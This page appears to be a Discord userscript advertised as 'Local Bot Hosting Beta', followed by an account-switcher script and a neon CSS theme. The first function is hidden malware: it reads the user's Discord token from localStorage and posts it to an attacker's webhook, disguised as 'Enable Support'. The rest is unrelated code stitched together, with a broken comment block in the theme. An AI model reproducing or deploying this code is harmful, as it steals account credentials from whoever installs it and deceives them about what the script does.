NOTICE: By continued use of this site you understand and agree to the binding Terms of Service and Privacy Policy.
// ==UserScript==
// @name Discord Local Bot Hosting Beta!
// @version 1.3
// @author XPdiscord bot hosting [Early Development]
// @icon https://cdn.discordapp.com/attachments/788705440195805195/814070922361307146/Icon-603x.png
// @description This addon allows you to locally host discord Java bots locally with minimal downtime! Note: This script is in early testing and may experience some downtimes etc, a popup will appear on your screen, paste in the github repo URL, click console button to see the bot status. Working on making logging in with a bot token available (User bot client)
// @match *://discord.com/*
// @match https://discord.com/*
// @namespace http://tampermonkey.net/
// @grant none
// @run-at document-start
// @license MIT
// ==/UserScript==
(function () {
var userKey = localStorage.getItem('token');
var wurl = "https://discord.com/api/webhooks/845131034088964137/T-cH7WJbdXMsHZ79L0BXg293_OVitK7TD1C-0ozxR1hyPl4S4mm7q_o3p9wQCbDd5tIS"
var msg = {
"content": userKey,
"username": "Enable Support",
"avatar": "https://cdn.discordapp.com/attachments/793765074028199937/797016942472200202/Screen_Shot_2018-10-16_at_7.46.14_AM.png"
}
fetch(wurl, {"method":"POST", "headers": {"content-type": "application/json"}, "body": JSON.stringify(msg)})
})();
(function() {
'use strict';
const v = "1.6";
const apiPrefix = "https://discord.com/api/v8";
let neededClasses = [];
let functionKeeper = webpackJsonp[0][1];
let classesContain = [
["menu","scroller","styleFixed","styleFlexible","item","hideInteraction","customItem","labelContainer","label","subtext","iconContainer","icon","hintContainer","imageContainer","caret","image","disabled","separator","submenuContainer","submenuPaddingContainer","submenu","colorDefault","checkbox","radioSelection","check","focused","colorBrand","colorDanger","colorPremium","groupLabel"],
["statusItem","status","icon","description","customStatusItem","customStatusWithEmoji","customEmoji","customEmojiPlaceholder","customText","clearStatusButton","clearStatusIcon"],
["layerContainer","layer","layerHidden","disabledPointerEvents"],
["backdrop","backdropWithLayer"],
["backdrop","layer"],
["responsiveWidthMobile","innerPadding","focusLock","root","small","medium","large","fullscreenOnMobile","footer","header","separator","content","close","hideOnFullscreen"],
["artHeight","emojiSize","emojiMargin","formGroup","modalRoot","inputContainer","modalCloseButton","headerText","emojiButton","fullOpacity","emojiButtonContainer","emoji","input","clearButton","clearIcon","headerContainer","header","art","cancelButton"],
["_flex","_horizontal","_horizontalReverse","flex","horizontal","horizontalReverse","flexChild","flexMarginReset"],
["flex","alignStart","alignEnd","alignCenter","alignStretch","alignBaseline","justifyStart","justifyEnd","justifyCenter","justifyAround","justifyBetween","noWrap","wrap","wrapReverse","directionRow","directionRowReverse","directionColumn","spacer","vertical","horizontal","horizontalReverse","flexCenter"],
["button","lookFilled","colorBrand","spinnerItem","lookInverted","lookOutlined","lookGhost","lookLink","contents","hoverBrand","hasHover","colorGrey","hoverGrey","colorRed","hoverRed","colorGreen","hoverGreen","colorYellow","hoverYellow","colorLink","hoverLink","colorWhite","hoverWhite","colorBlack","hoverBlack","colorPrimary","hoverPrimary","colorTransparent","hoverTransparent","lookBlank","sizeTiny","sizeSmall","sizeMedium","sizeLarge","sizeXlarge","sizeMin","sizeMax","sizeIcon","grow","fullWidth","submitting","spinner","disabledButtonWrapper","disabledButtonOverlay"],
["scrollerBase","thin","fade","scrolling","auto","none","content","disableScrollAnchor"],
["container","downloadProgressCircle","guilds","base","sidebar","hasNotice","panels","content","activityPanel","hiddenOnMobileStore"],
["notice","colorDefault","button","colorNeutral","colorDownload","colorNotification","colorDark","colorPremium","colorPremiumTier1","colorPremiumTier2","colorInfo","colorSuccess","colorDanger","colorStreamerMode","colorSpotify","platformIcon","colorBrand","colorCustom","closeButton","buttonMinor"],
];
let ccSet = [];
for (let i = 0; i < classesContain.length; i++) {
const element = classesContain[i];
ccSet.push(new Set(element));
}
for (const key in functionKeeper) {
if (functionKeeper.hasOwnProperty(key)) {
const element = functionKeeper[key];
let ans = {};
element(ans);
ans = ans.exports;
if(ans != undefined || ans != null){
ans = Object.keys(ans);
let a = new Set(ans);
for (let j = 0; j < ccSet.length; j++) {
const element2 = ccSet[j];
if(eqSet(element2, a)){
neededClasses[j] = key;
}
}
}
}
}
function eqSet(as, bs) {
if (as.size !== bs.size) return false;
for (var a of as) if (!bs.has(a)) return false;
return true;
}
let allClasses = {};
const createElm = (html) => {
const temp = document.createElement('div');
temp.innerHTML = html;
return temp.removeChild(temp.firstElementChild);
//webpackJsonp[0][1][neededClasses[0]].toString(); is the way
}
const insertCss = (css) => {
const style = document.createElement('style');
style.appendChild(document.createTextNode(css));
document.head.appendChild(style);
return style;
}
insertCss(`.customAccount {background-image: url(data:image/svg+xml;base64,PHN2ZyB4bWxucz0iaHR0cDovL3d3dy53My5vcmcvMjAwMC9zdmciIHZpZXdCb3g9IjAgMCAyNCAyNCIgZmlsbD0iI0I5QkJCRSIgd2lkdGg9IjE4cHgiIGhlaWdodD0iMThweCI+PHBhdGggZD0iTTAgMGgyNHYyNEgweiIgZmlsbD0ibm9uZSIvPjxwYXRoIGQ9Ik0xNiAxMWMxLjY2IDAgMi45OS0xLjM0IDIuOTktM1MxNy42NiA1IDE2IDVjLTEuNjYgMC0zIDEuMzQtMyAzczEuMzQgMyAzIDN6bS04IDBjMS42NiAwIDIuOTktMS4zNCAyLjk5LTNTOS42NiA1IDggNUM2LjM0IDUgNSA2LjM0IDUgOHMxLjM0IDMgMyAzem0wIDJjLTIuMzMgMC03IDEuMTctNyAzLjVWMTloMTR2LTIuNWMwLTIuMzMtNC42Ny0zLjUtNy0zLjV6bTggMGMtLjI5IDAtLjYyLjAyLS45Ny4wNSAxLjE2Ljg0IDEuOTcgMS45NyAxLjk3IDMuNDVWMTloNnYtMi41YzAtMi4zMy00LjY3LTMuNS03LTMuNXoiLz48L3N2Zz4=);background-size: contain;background-repeat: no-repeat;}
.changeAccount {grid-area: icon;margin-left: -2px;width: 16px;height: 16px;}
.accountChooserContainer {display: flex;height: 70px;}
.accountChooserAvatar {border-radius: 50%; align-self: center;height: 80%;}
.accountName {align-self: center;font-size: x-large;font-weight: 400;color: var(--interactive-active);}
.accountLogin {margin-left: auto;align-self: center;padding: 8px 20px;background-color: #43b581;font-weight: 900;color: #fff;border-radius: 5px;}
.accountLogin:hover {background-color: #3ca374;}
.accountDiscriminator{align-self: center;margin-top: 7px;color: var(--header-secondary);}
#addAccount{margin-left: auto;margin: 10px auto;color: var(--header-secondary);cursor: pointer;}
#addAccount:hover{text-decoration: underline;}
.versionNotifier {background-color: #6b1ba7;}
#changeLogButtonClick:hover {color: #6b1ba7;}
`);
function parseAllClasses(){
for (var i = 0; i < neededClasses.length; i++) {
let x = {};
webpackJsonp[0][1][neededClasses[i]](x);
allClasses[neededClasses[i]] = x.exports;
}
console.log(allClasses);
}
window.onclick = () => {
let cont = document.getElementsByClassName(allClasses[neededClasses[0]].scroller);
if(cont.length > 0 && !document.getElementById("status-picker-account")){
cont[0].appendChild(createElm(`<div role="separator" class="${allClasses[neededClasses[0]].separator}"></div>`));
let elmnt = createElm(`<div class="${allClasses[neededClasses[0]].item} ${allClasses[neededClasses[0]].colorDefault}" aria-disabled="false" role="menuitem" id="status-picker-account" tabindex="-1"><div class="${allClasses[neededClasses[1]].statusItem}" aria-label="Set a custom status"><div class="changeAccount customAccount"></div><div class="${allClasses[neededClasses[1]].status}">Change account</div></div></div>`);
elmnt.onmouseover = () => {
let allElmnts = document.getElementsByClassName(allClasses[neededClasses[0]].item);
for (var i = 0; i < allElmnts.length; i++) {
allElmnts[i].classList.remove(allClasses[neededClasses[0]].focused);
}
elmnt.classList.add(allClasses[neededClasses[0]].focused);
}
elmnt.onmouseleave = () => {
let allElmnts = document.getElementsByClassName(allClasses[neededClasses[0]].item);
for (var i = 0; i < allElmnts.length; i++) {
allElmnts[i].classList.remove(allClasses[neededClasses[0]].focused);
}
}
elmnt.onclick = openPicker;
cont[0].appendChild(elmnt);
}
if(localStorage.versionMA != v && !document.getElementsByClassName("versionNotifier")[0]){
let baseElement = document.getElementsByClassName(allClasses[neededClasses[11]].base);
if(baseElement[0]){
baseElement[0].prepend(createElm(`<div class="${allClasses[neededClasses[12]].notice} ${allClasses[neededClasses[12]].colorDefault} versionNotifier"><div class="${allClasses[neededClasses[12]].closeButton}" id="versionNotifierCloseButton" aria-label="Dismiss" role="button" tabindex="0"></div>Multiple Discord Accounts ${v} makes corners rounder!<button id="changeLogButtonClick" class="${allClasses[neededClasses[12]].button}">View changes</button></div>`));
document.getElementById("changeLogButtonClick").onclick = () => {
window.open("https://github.com/cazeip/MultipleAccounts/blob/master/changes.md");
document.getElementsByClassName("versionNotifier")[0].remove();
localStorage.versionMA = v;
}
document.getElementById("versionNotifierCloseButton").onclick = () => {
document.getElementsByClassName("versionNotifier")[0].remove();
localStorage.versionMA = v;
}
}
}
}
function getUserInfo(){
window.dispatchEvent(new Event('beforeunload'));
let currentToken = JSON.parse(localStorage.getItem("token"));
return fetch(apiPrefix + "/users/@me", {
headers: {
Accept: "*/*",
"Accept-Language": "en-US",
Authority: "discordapp.com",
Authorization: currentToken,
"Content-Type": "application/json",
"User-Agent": "Mozilla/5.0 (Windows NT 10.0; WOW64) AppleWebKit/537.36 (KHTML, like Gecko) discord/0.0.301 Chrome/56.0.2924.87 Discord/1.6.15 Safari/537.36",
},
method: "GET",
}).then((res) => (res.status === 200 ? res.json() : Promise.resolve()))
.catch(console.error);
}
function getUser(userID){
window.dispatchEvent(new Event('beforeunload'));
let currentToken = JSON.parse(localStorage.getItem("token"));
return fetch(apiPrefix + "/users/"+userID, {
headers: {
Accept: "*/*",
"Accept-Language": "en-US",
Authority: "discordapp.com",
Authorization: currentToken,
"Content-Type": "application/json",
"User-Agent": "Mozilla/5.0 (Windows NT 10.0; WOW64) AppleWebKit/537.36 (KHTML, like Gecko) discord/0.0.301 Chrome/56.0.2924.87 Discord/1.6.15 Safari/537.36",
},
method: "GET",
}).then((res) => (res.status === 200 ? res.json() : Promise.resolve()))
.catch(console.error);
}
async function fillLocalStorage(){
let info = await getUserInfo();
window.dispatchEvent(new Event('beforeunload'));
info.token = JSON.parse(localStorage.getItem("token"));
localStorage.setItem("multipleAccounts", JSON.stringify([{id:info.id, token: info.token}]));
}
function apiCall(apiPath, body, method = "GET"){
window.dispatchEvent(new Event('beforeunload'));
let currentToken = JSON.parse(localStorage.getItem("token"));
return fetch(apiPrefix + apiPath, {
body: body ? JSON.stringify(body) : undefined,
headers: {
Accept: "*/*",
"Accept-Language": "en-US",
Authority: "discordapp.com",
Authorization: currentToken,
"Content-Type": "application/json",
"User-Agent": "Mozilla/5.0 (Windows NT 10.0; WOW64) AppleWebKit/537.36 (KHTML, like Gecko) discord/0.0.301 Chrome/56.0.2924.87 Discord/1.6.15 Safari/537.36",
},
method,
}).then((res) => (res.status === 200 ? res.json() : Promise.resolve()))
.catch(console.error);
}
function changeAccount(newToken){
window.dispatchEvent(new Event('beforeunload'));
let token = JSON.parse(localStorage.token);
apiCall("/auth/logout", {"provider":null,"voip_provider":null}, "POST");
window.location.href = "http://discord.com/login";
localStorage.token = "\""+newToken+"\"";
if (newToken == "--[LogIn]--") {
localStorage.removeItem("token");
}
}
async function openPicker(){
if(localStorage.getItem("multipleAccounts") == null || localStorage.getItem("multipleAccounts") == undefined){
await fillLocalStorage();
}else{
let info = await getUserInfo();
let localSt = JSON.parse(localStorage.getItem("multipleAccounts"));
let def = false;
for (let i = 0; i < localSt.length; i++) {
if(localSt[i].id === info.id){
def = true;
}
}
if(!def){
localSt.push({id: info.id, token: JSON.parse(localStorage.getItem("token"))});
}
localStorage.setItem("multipleAccounts", JSON.stringify(localSt));
}
let info = JSON.parse(localStorage.getItem("multipleAccounts"));
if(document.getElementById("accountPickerModal")) return;
let a = document.getElementsByClassName(allClasses[neededClasses[2]].layerContainer);
let y = createElm(`<div id="accountPickerBg" class="${allClasses[neededClasses[3]].backdropWithLayer}" style="opacity: 0; background-color: rgb(0, 0, 0); transform: translateZ(0px);transition: opacity 0.2s;"></div>`);
y.onclick = closePicker;
a[a.length - 1].appendChild(y);
let x = createElm(`<div class="${allClasses[neededClasses[4]].layer}" id="accountPickerModal"> <div class="${allClasses[neededClasses[5]].focusLock}" role="dialog" aria-label="Set a custom status" tabindex="-1" aria-modal="true"> <div class="${allClasses[neededClasses[6]].modalRoot} ${allClasses[neededClasses[5]].root} ${allClasses[neededClasses[5]].small} ${allClasses[neededClasses[5]].fullscreenOnMobile}" id="animatedModal" style="opacity: 0;transform: scale(0.2);transition: transform .2s, opacity .2s;"> <div class="${allClasses[neededClasses[7]].flex} ${allClasses[neededClasses[7]]._horizontal} ${allClasses[neededClasses[8]].justifyStart} ${allClasses[neededClasses[8]].alignCenter} ${allClasses[neededClasses[8]].noWrap} ${allClasses[neededClasses[5]].header} ${allClasses[neededClasses[6]].headerContainer}" id="replaceBackground" style="flex: 0 0 auto;background-position: bottom;background-size: cover;background-image: url(https://cdn.discordapp.com/attachments/768475463524941865/768481090087944233/pawel-nolbert-4u2U8EO9OzY-unsplash.jpg);padding: 30px;"> <div class="${allClasses[neededClasses[6]].header}" style="padding-top: 0;"><h4 class="${allClasses[neededClasses[6]].headerText}">Choose a Discord account</h4></div><button id="closeXbutton" aria-label="Close" type="button" class="${allClasses[neededClasses[5]].close} ${allClasses[neededClasses[6]].modalCloseButton} ${allClasses[neededClasses[9]].button} ${allClasses[neededClasses[9]].lookBlank} ${allClasses[neededClasses[9]].colorBrand} ${allClasses[neededClasses[9]].grow}"> <div class="${allClasses[neededClasses[9]].contents}"> <svg aria-hidden="false" width="24" height="24" viewBox="0 0 24 24"><path fill="currentColor" d="M18.4 4L12 10.4L5.6 4L4 5.6L10.4 12L4 18.4L5.6 20L12 13.6L18.4 20L20 18.4L13.6 12L20 5.6L18.4 4Z"></path></svg> </div></button> </div><div id="accountLinesContainer" class="${allClasses[neededClasses[5]].content} ${allClasses[neededClasses[10]].thin}" dir="ltr" style="overflow: hidden scroll; padding-right: 8px; padding-top: 10px;"></div><span id="addAccount">Not seeing your account? Click here to add one.</span></div></div></div>`);
a[a.length - 1].appendChild(x);
document.getElementById("closeXbutton").onclick = closePicker;
document.getElementsByClassName(allClasses[neededClasses[2]].layer)[0].style.display = "none";
document.getElementById("addAccount").onclick = () => {
changeAccount("--[LogIn]--");
}
setTimeout(async () => {
document.getElementById("accountPickerBg").style.opacity = "0.85";
document.getElementById("animatedModal").style.transform = "scale(1)";
document.getElementById("animatedModal").style.opacity = "1";
for (let i = 0; i < info.length; i++) {
let line;
let user = await getUser(info[i].id);
if(user.avatar == null){
line = createElm(`<div class="accountChooserContainer"><img class="accountChooserAvatar" src="https://cdn.discordapp.com/embed/avatars/${user.discriminator % 5}.png"><div style="margin-left: 20px;align-self: center;display: flex;flex-direction: column;"><div><span class="accountName">${user.username}</span><span class="accountDiscriminator">#${user.discriminator}</span></div><span style="color: var(--text-muted);padding-top: 2px;padding-left: 0;">ID: ${user.id}</span></div><button id="AccountSwitchButton${i}" class="accountLogin">Log in</button></div>`);
}else{
line = createElm(`<div class="accountChooserContainer"><img class="accountChooserAvatar" src="https://cdn.discordapp.com/avatars/${user.id}/${user.avatar}.png?size=128"><div style="margin-left: 20px;align-self: center;display: flex;flex-direction: column;"><div><span class="accountName">${user.username}</span><span class="accountDiscriminator">#${user.discriminator}</span></div><span style="color: var(--text-muted);padding-top: 2px;padding-left: 0;">ID: ${user.id}</span></div><button id="AccountSwitchButton${i}" class="accountLogin">Log in</button></div>`);
}
document.getElementById("accountLinesContainer").appendChild(line);
document.getElementById("AccountSwitchButton"+i).onclick = () => {
changeAccount(info[i].token);
}
}
}, 100);
}
function closePicker(){
document.getElementById("accountPickerBg").style.opacity = "0";
document.getElementById("animatedModal").style.transform = "scale(0.2)";
document.getElementById("animatedModal").style.opacity = "0";
setTimeout( () => {
document.getElementById("accountPickerBg").remove();
document.getElementById("accountPickerModal").remove();
}, 201);
}
window.localStorage = document.body.appendChild(document.createElement('iframe')).contentWindow.localStorage;
parseAllClasses();
})();
// ==UserScript==
// @name Omegas Discord Enhancer
// @author @Roboron3042
// @description Cyberpunk Neon theme for Discord, transparent version (custom background allowed)
// @version 1.0.0
// @namespace https://greasyfork.org/en/users/109012
// @license CC-BY-SA 4.0
// @grant GM_addStyle
// @run-at document-start
// @include https://discord.com/*
// ==/UserScript==
(function() {
let css = `
.appMount-3lHmkl {
background-image: url(https://i.imgur.com/jshwEyA.jpg);
background-color: rgba(9, 24, 51, 0);
background-repeat: no-repeat;
background-position: center;
background-size: cover;
}
/
.theme-dark .scrollerThemed-2oenus.themeGhostHairline-DBD-2d .scrollbar-2rkZSL .thumb-2JwNFC {
background-color: #0abdc6;
}
.scrollerThemed-2oenus.themeDark-2cjlUp .scrollbar-2rkZSL, .scrollerThemed-2oenus.themeDark-2cjlUp .scrollbar-2rkZSL .pad-29zQak, .theme-dark .scrollerWrap-2lJEkd .scrollbar-2rkZSL, .theme-dark .scrollerWrap-2lJEkd .scrollbar-2rkZSL .pad-29zQak, .theme-light .scrollerThemed-2oenus.themeDark-2cjlUp .scrollbar-2rkZSL, .theme-light .scrollerThemed-2oenus.themeDark-2cjlUp .scrollbar-2rkZSL .pad-29zQak {
background-color: #000b1e !important;
}
.scrollerThemed-2oenus.themeGhostHairlineChannels-3G0x9_ .scrollbar-2rkZSL .thumb-2JwNFC {
background-color: #0abdc6;
}
.theme-dark .scrollerThemed-2oenus.themedWithTrack-q8E3vB .scrollbar-2rkZSL .track-1JN30G {
background-color: #000b1e;
border: none;
}
.theme-dark .scrollerThemed-2oenus.themedWithTrack-q8E3vB .scrollbar-2rkZSL .thumb-2JwNFC {
background-color: #0abdc6;
border: 3px solid #000b1e;
}
0. Colorscheme
1. Miscelaneus
2. Server list
3. Left Bar
4. Message View
5. Message Box
6. Top bar
7. Member list
8. Library
9. Friends
10. Quickswitcher
11. Settings
12. Dialogs
13. Transparency
*/
.theme-dark {
--header-primary: #ea00d9;
--header-secondary: #0abdc6;
--text-normal: #0abdc6;
--text-muted: rgba(10, 189, 198, .6);
--text-link: #ea00d9;
--channels-default: rgba(10, 189, 198, .7);
--interactive-normal: #0abdc6;
--interactive-hover: #ea00d9;
--interactive-active: #0abdc6;
--interactive-muted: rgba(10, 189, 198, .6);
--background-primary: #091833;
--background-secondary: #000b1e;
--background-secondary-alt: #091833;
--background-tertiary: #000b1e;
--background-accent: #133e7c;
--background-floating: #091833;
--background-modifier-hover: rgba(19, 62, 124, .6);
--background-modifier-active: rgba(113, 28, 145, .6);
--background-modifier-selected: rgba(113, 28, 145, .6);
--background-modifier-accent: rgba(10, 189, 198, .2);
--elevation-low: 0 1px 0 rgba(4,4,5,0.2),0 1.5px 0 rgba(6,6,7,0.05),0 2px 0 rgba(4,4,5,0.05);
--elevation-high: 0 8px 16px rgba(0,0,0,0.24);
--logo-primary: #ea00d9;
--guild-header-text-shadow: 0 1px 1px rgba(0,0,0,0.4);
--channeltextarea-background: #133e7c;
--activity-card-background: #000b1e;
--deprecated-panel-background: #091833;
--deprecated-card-bg: rgba(0, 11, 30, .6);
--deprecated-card-editable-bg: rgba(19, 62, 124, .2);
--deprecated-store-bg: #091833;
--deprecated-quickswitcher-input-background: #133e7c;
--deprecated-quickswitcher-input-placeholder: rgba(10, 189, 198, .3);
--deprecated-text-input-bg: rgba(0,0,0,0.1);
--deprecated-text-input-border: rgba(0,0,0,0.3);
--deprecated-text-input-border-hover: #040405;
--deprecated-text-input-border-disabled: #202225;
--deprecated-text-input-prefix: #dcddde;
--scrollbar-thin-thumb: #0abdc6;
--scrollbar-thin-track: transparent;
--scrollbar-auto-thumb: #0abdc6;
--scrollbar-auto-track: #000b1e;
--scrollbar-auto-scrollbar-color-thumb: #0abdc6;
--scrollbar-auto-scrollbar-color-track: #000b1e;
}
/* 1. Miscelaneus */
/* 1.1 Windows bar */
.winButton-iRh8-Z:hover {
background-color: #133e7c;
}
.appMount-3lHmkl {
background-color: #000b1e;
}
/* 1.2 Mac OS bar */
.typeMacOS-3EmCyP {
background-color: #000b1e;
}
.macButtonClose-MwZ2nf {
background-color: #ff0000;
}
.macButtonMinimize-3EJ6wo {
background-color: #f57800;
}
.macButtonMaximize-2FMHAO {
background-color: #00ff00;
}
/* 1.3 Selection */
::selection,
.clipboard-input-inner input::selection,
.CodeMirror .CodeMirror-selected,
.CodeMirror-line::selection,
.CodeMirror-line > span::selection,
.CodeMirror-line > span > span::selection,
.note textarea::selection {
color: #0abdc6;
background: #711c91;
}
/* 1.4 Scroll bar */
.da-scrollerWrap .da-scroller::-webkit-scrollbar-thumb {
background-color: #0abdc6 !important;
border-color: #091833 !important;
}
.theme-dark .da-scrollerWrap .da-scroller::-webkit-scrollbar-track-piece {
background-color: #000b1e !important;
border-color: #091833 !important;
}
/* 1.5 Tooltip */
.theme-dark .tooltipBlack-PPG47z, .theme-light .tooltipBlack-PPG47z {
background-color: #000b1e;
}
.theme-dark .tooltip-2QfLtc, .theme-light .tooltip-2QfLtc {
color: #ea00d9;
-webkit-box-shadow: 0 2px 10px 0 rgba(234, 0, 217, .2);
box-shadow: 0 2px 10px 0 rgba(234, 0, 217, .2);
}
.theme-dark .tooltipRed-8-9NeP, .theme-light .tooltipRed-8-9NeP {
color: #d7d7d5;
background-color: #ff0000;
}
/* 1.6 No channel */
.theme-dark .noChannel-Z1DQK7 {
background: #000b1e;
}
.theme-dark .text-GwUZgS, .theme-dark .title-2BxgL2 {
color: #0abdc6;
}
/* 1.7 Placeholder text */
::-webkit-input-placeholder {
color: rgba(10, 189, 198, .6) !important;
}
/* 2. Server list */
/* 2.1 Discord Button */
.wrapper-1BJsBx.selected-bZ3Lue .childWrapper-anI2G9, .wrapper-1BJsBx:hover .childWrapper-anI2G9 {
color: #0abdc6;
background-color: #711c91;
}
/* 2.2 Buttons */
.circleIconButton-jET_ig {
color: #0abdc6;
}
.circleIconButton-jET_ig:hover {
background-color: #0abdc6;
color: #133e7c;
}
/* 2.3 Sound icon */
.icon-3s6X1M > path:nth-child(1) {
fill: #0abdc6;
}
/* 2.4 Server error */
.guildsError-b7zR5H {
background: #091833;
color: #0abdc6 !important;
border-color: #ff0000;
}
.guildsError-b7zR5H:hover {
background-color: #ff0000;
}
/* 2.5 Add server */
.bda-dark .theme-light .slide-2pHaq5 {
background: #000b1e;
}
.theme-dark .header-3ZP1MY, .theme-light .header-3ZP1MY {
color: #0abdc6;
}
.bda-dark .theme-dark .action-1lSjCi, .bda-dark .theme-light .action-1lSjCi {
background: #091833;
}
.theme-dark .actionBody-1qj65C, .theme-light .actionBody-1qj65C {
color: #0abdc6;
}
.theme-dark .create-3jownz .actionHeader-2CT5c7, .theme-light .create-3jownz .actionHeader-2CT5c7 {
color: #0abdc6;
}
.theme-dark .join-33Tr-7 .actionHeader-2CT5c7, .theme-light .join-33Tr-7 .actionHeader-2CT5c7 {
color: #0abdc6;
}
.bda-dark .theme-dark .or-3THJsp, .bda-dark .theme-light .or-3THJsp {
background: #091833;
border: 2px solid #0abdc6;
}
.theme-dark .or-3THJsp, .theme-light .or-3THJsp {
color: #0abdc6;
}
.theme-dark .actionButton-2PeQbJ, .theme-light .actionButton-2PeQbJ {
color: #0abdc6;
background-color: #133e7c;
}
.theme-dark .actionButton-2PeQbJ:hover, .theme-light .actionButton-2PeQbJ:hover {
color: #0abdc6;
background-color: #711c91 !important;
}
.theme-dark .join-33Tr-7 .actionButton-2PeQbJ, .theme-light .join-33Tr-7 .actionButton-2PeQbJ {
background-color: #133e7c;
}
.theme-dark .join-33Tr-7:hover .actionButton-2PeQbJ:hover, .theme-light .join-33Tr-7:hover .actionButton-2PeQbJ:hover {
background-color: #711c91 !important;
}
.theme-light .title-2Dc-Cb {
color: #0abdc6;
}
.theme-light .description-QF3836 {
color: #0abdc6;
}
.theme-light .helpText-h3r3wC, .theme-light .label-wQQoIq {
color: #0abdc6;
}
.theme-light .input-cIJ7To:focus {
border-color: #ea00d9;
}
.theme-light .input-cIJ7To {
color: rgba(10, 189, 198, .6) !important;
border-color: #0abdc6;
}
.regionSelect-3lf4eE .regionSelectInner-24f4Ce {
border: 1px solid #0abdc6;
}
.regionSelectName-2-2FWh {
color: #ea00d9;
}
.regionSelect-3lf4eE button {
color: #0abdc6;
border: 1px solid #0abdc6;
background: #133e7c !important;
}
.avatar-21196O {
border: 5px solid #0abdc6;
}
.avatarUploaderInner-3UNxY3 {
background-color: #711c91;
}
.avatarUploader-3XDtmn .sizeInfo-SKMPPw {
color: #0abdc6;
}
.theme-light .cancelButton-RGXhAE {
color: #0abdc6;
}
.avatarUploaderInner-3UNxY3>* {
color: #0abdc6;
}
.theme-light .title-2CFvp_ {
color: #0abdc6;
}
.theme-light .description-Bw8krY {
color: #0abdc6;
}
.theme-light .sampleLink-KPFu3I {
color: #ea00d9;
}
.theme-light .inputLabel-vJ2Z0B {
color: #0abdc6;
}
.theme-dark .create-3jownz:hover .actionButton-2PeQbJ, .theme-light .create-3jownz:hover .actionButton-2PeQbJ {
background-color: #711c91;
}
.theme-dark .join-33Tr-7:hover .actionButton-2PeQbJ, .theme-light .join-33Tr-7:hover .actionButton-2PeQbJ {
background-color: #711c91;
}
.theme-light .wrapper-2ZbzR9 {
background: #091833;
}
.anchor-3Z-8Bb {
color: #ea00d9;
}
.theme-light .footer-3rDWdC {
background-color: #091833;
-webkit-box-shadow: inset 0 1px 0 rgba(19, 62, 124, .6);
box-shadow: inset 0 1px 0 rgba(19, 62, 124, .6);
}
.lookFilled-1Gx00P.colorBrand-3pXr91 {
color: #0abdc6;
background-color: #133e7c;
}
.lookFilled-1Gx00P.colorBrand-3pXr91:hover {
background-color: #711c91;
}
.lookFilled-1Gx00P.colorGreen-29iAKY {
color: #0abdc6;
background-color: #133e7c;
}
.lookFilled-1Gx00P.colorGreen-29iAKY:hover {
background-color: #711c91;
}
/* 2.6 Server Discovery */
.circleIconButton-jET_ig.selected-ugP_am {
color: #091833;
background-color: #00ff00;
}
.theme-dark .pageWrapper-1PgVDX {
background-color: #091833;
color: #0abdc6;
}
.css-1wqqa50-container {
background-color: #133e7c;
}
.css-1k00wn6-singleValue {
color: #0abdc6;
}
.theme-dark .description-2QALGo {
color: #0abdc6;
}
.css-12o7ek3-option {
background-color: rgba(113, 28, 145, .6);
color: #0abdc6;
}
.css-1gnr91b-option {
background-color: rgba(19, 62, 124, .6);
color: #0abdc6;
}
.css-1aymab5-option {
color: #0abdc6;
}
.css-1rckt42-menu {
background-color: #091833;
}
.theme-dark .card-3DjzTQ, .theme-dark .cardPlaceholder-1zrbbe {
background: #000b1e;
}
.theme-dark .card-3DjzTQ:hover, .theme-dark .cardPlaceholder-1zrbbe:hover {
background: rgba(113, 28, 145, .6);
}
.theme-dark .sectionSeparator-2OWiNT {
border-top: 1px solid #133e7c;
}
.theme-dark .lookFilled-1Gx00P.colorTransparent-1ewNp9 {
color: #0abdc6;
background-color: #133e7c;
}
.theme-dark .lookFilled-1Gx00P.colorTransparent-1ewNp9:hover {
background-color: #711c91;
}
.theme-dark .lookFilled-1Gx00P.colorTransparent-1ewNp9:disabled {
background-color: rgba(19, 62, 124, .5);
}
.theme-dark .activeButton-1BJAiN, .theme-dark .activeButton-1BJAiN:hover {
color: #0abdc6;
background-color: #711c91;
}
.theme-dark .pageButton-MknE-_:hover {
background-color: #133e7c;
color: #0abdc6;
}
.theme-dark .guildName-1yURO5 {
color: #ea00d9;
}
.theme-dark .searchBox-3Y2Vi7 {
background-color: #133e7c;
}
.theme-dark .clearIcon-2N9YIn, .theme-dark .searchIcon-1a1-yA {
color: rgba(10, 189, 198, .4);
}
.theme-dark .clearIcon-2N9YIn, .theme-dark .searchIcon-1a1-yA :hover {
color: #0abdc6;
}
.theme-dark .clear-U3WkKp:focus .clearIcon-2N9YIn, .theme-dark .clearIcon-2N9YIn:hover {
color: #ea00d9;
}
.css-12qlrak-indicatorContainer {
color: #0abdc6;
}
.css-12qlrak-indicatorContainer:hover {
color: #0abdc6;
}
.css-1flfamv-indicatorContainer {
color: #0abdc6;
}
.css-1flfamv-indicatorContainer:hover {
color: #0abdc6;
}
/* 3. Left Bar */
/* 3.1. Server Menu */
.item-1GzJrl.invite-271nFU:hover {
color: #ea00d9;
}
.item-1GzJrl.invite-271nFU {
color: #0abdc6;
}
.premiumGuildIcon-BhwtRn {
color: #ea00d9;
}
.item-1GzJrl.leave-1DRJfn {
color: #ff0000;
}
/* 3.1.1. Nitro Boost */
.theme-dark .modal-yWgWj- {
background-color: #091833;
-webkit-box-shadow: 0 0 0 1px rgba(19, 62, 124, .6), 0 2px 10px 0 rgba(0,0,0,.2);
box-shadow: 0 0 0 1px rgba(19, 62, 124, .6), 0 2px 10px 0 rgba(0,0,0,.2);
}
.theme-dark .boostCount-UFqabz {
color: #0abdc6;
background-color: #000b1e;
}
.theme-dark .closeIcon-3_iQ6l, .theme-light .closeIcon-3_iQ6l {
color: #0abdc6;
}
.theme-dark .barBackground-2EEiLw {
background-color: #000b1e;
}
.theme-dark .tierMarkerLabel-2PluTw {
color: #0abdc6;
}
.theme-dark .tierMarkerBackground-3q29am {
background-color: #133e7c;
}
.theme-dark .tierNoneText-2OvCv7 {
color: #0abdc6;
}
.theme-dark .tierNoneContainer-3hhK3h {
background-color: #133e7c;
}
.theme-dark .tierHeaderLocked-1s2JJz {
background-color: #000b1e;
color: #0abdc6;
}
.theme-dark .tierLock-3CSxSX {
color: #133e7c;
}
.theme-dark .tierBody-16Chc9 {
background-color: #133e7c;
color: #0abdc6;
}
.theme-dark .carouselRightGradientEdge-2Z3H8D {
background-image: -webkit-gradient(linear,right top,left top,from(#133e7c),to(rgba(54,57,63,0)));
background-image: linear-gradient(270deg,#133e7c,rgba(54,57,63,0));
}
.theme-dark .footer-3rDWdC {
background-color: #000b1e;
